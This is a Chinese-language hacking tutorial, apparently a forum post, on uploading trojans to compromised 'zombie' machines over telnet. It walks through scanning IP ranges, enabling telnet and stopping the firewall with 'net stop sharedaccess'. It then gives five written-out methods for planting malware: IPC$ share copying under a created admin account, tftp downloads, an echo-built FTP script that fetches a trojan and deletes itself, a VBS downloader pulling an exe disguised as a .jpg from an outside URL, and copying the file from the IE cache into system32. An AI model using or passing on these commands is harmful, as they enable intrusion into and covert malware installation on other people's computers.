telnet传文件的方法

telnet传文件的方法确认肉鸡共享是开放之后，在本机输入copy 你要传的文件路径及文件名（后缀也要加上去） \\对方IP\对方开放的共享 回车copy\\192.168.0.5\d$\说明.DOC d:\
说明：
把192.168.0.5主机D盘上把 说明.DOC 文件COPY 到本地硬盘D下         工具；啊D扫描器   

         FTP空间（用本机做也行）       都很简单把！

步骤：

一     选取IP段扫描

       我这里要提醒的是期望你们学会找到适合自己的活跃IP段，这也是为什么同样的IP段，有些人扫不到的原因之一了,

二     用啊D开启telnet
三     传马
           先关 防火墙      命令 ： net stop sharedaccess

        关于传马方式大概有5种：     大家课后可仔细研究，这里就不多做解释了。

        1      首先要说的是初学者最爱的IPC$共享传送方式了，用法很简单。先在溢出shell下建立一个管理员权限的帐号，然后在本地的CMD下与肉鸡进行连接，命令如下：
net use \IP\共享目录（后面要大$） "密码" /user:"用户名"
copy c:\file \IP\共享目录

        2      我们说一下很多朋友都用的tftp方式。首先你得拥有一个公网IP，然后去网上down一个tftpd32.exe，把它放到你要传送的文件的目录里运行一下就OK了。在溢出shell下执行命令：
tftp -i 你的IP get xx.exe

        3     FTP
                echo open 10.10.123.50>hk.txt       FTP登陆地址           
                echo 123>>hk.txt                      FTP用 户 名      
                echo 123>>hk.txt                      FTP密       码
                echo get ss.exe>>hk.txt                下载木马
                echo bye>>hk.txt

                ftp -s:hk.txt                         带参数运行 下载木马

                del hk.txt 

         4 VBS脚本法 （有教程说明这方法的，大家可以参看）
                 echo Set xPost = CreateObject("Microsoft.XMLHTTP") >sysinfo.vbs
echo xPost.Open "GET","http://www.cxxcc.com/bbs/databackup/pslist.jpg",0 >>sysinfo.vbs
echo xPost.Send() >>sysinfo.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>sysinfo.vbs
echo sGet.Mode = 3 >>sysinfo.vbs
echo sGet.Type = 1 >>sysinfo.vbs
echo sGet.Open() >>sysinfo.vbs
echo sGet.Write(xPost.responseBody) >>sysinfo.vbs
echo sGet.SaveToFile "pslist.exe",2 >>sysinfo.vbs
然后执行cscript sysinfo.vbs就可以啦.其中，http://www.cxxcc.com/bbs/databackup/pslist.jpg改成你放
文件的网站路径，pslist.exe可以改成保存文件的路径。
5.start http://www.cxxcc.com/bbs/databackup/pslist.jpg
cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\" （假设系统装在c盘，且当前环境是SYSTEM。如果是用户环境，修改Default User为该用户名）
dir /s pslist[1].jpg
然后会显示ca[1].rar的具体位置，比如C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5QMVC11H\pslist[1].jpg
最后：
copy 0QMVC11H\pslist[1].jpg c:\winnt\system32\pslist.exe
del 0QMVC11H\ca[1].rar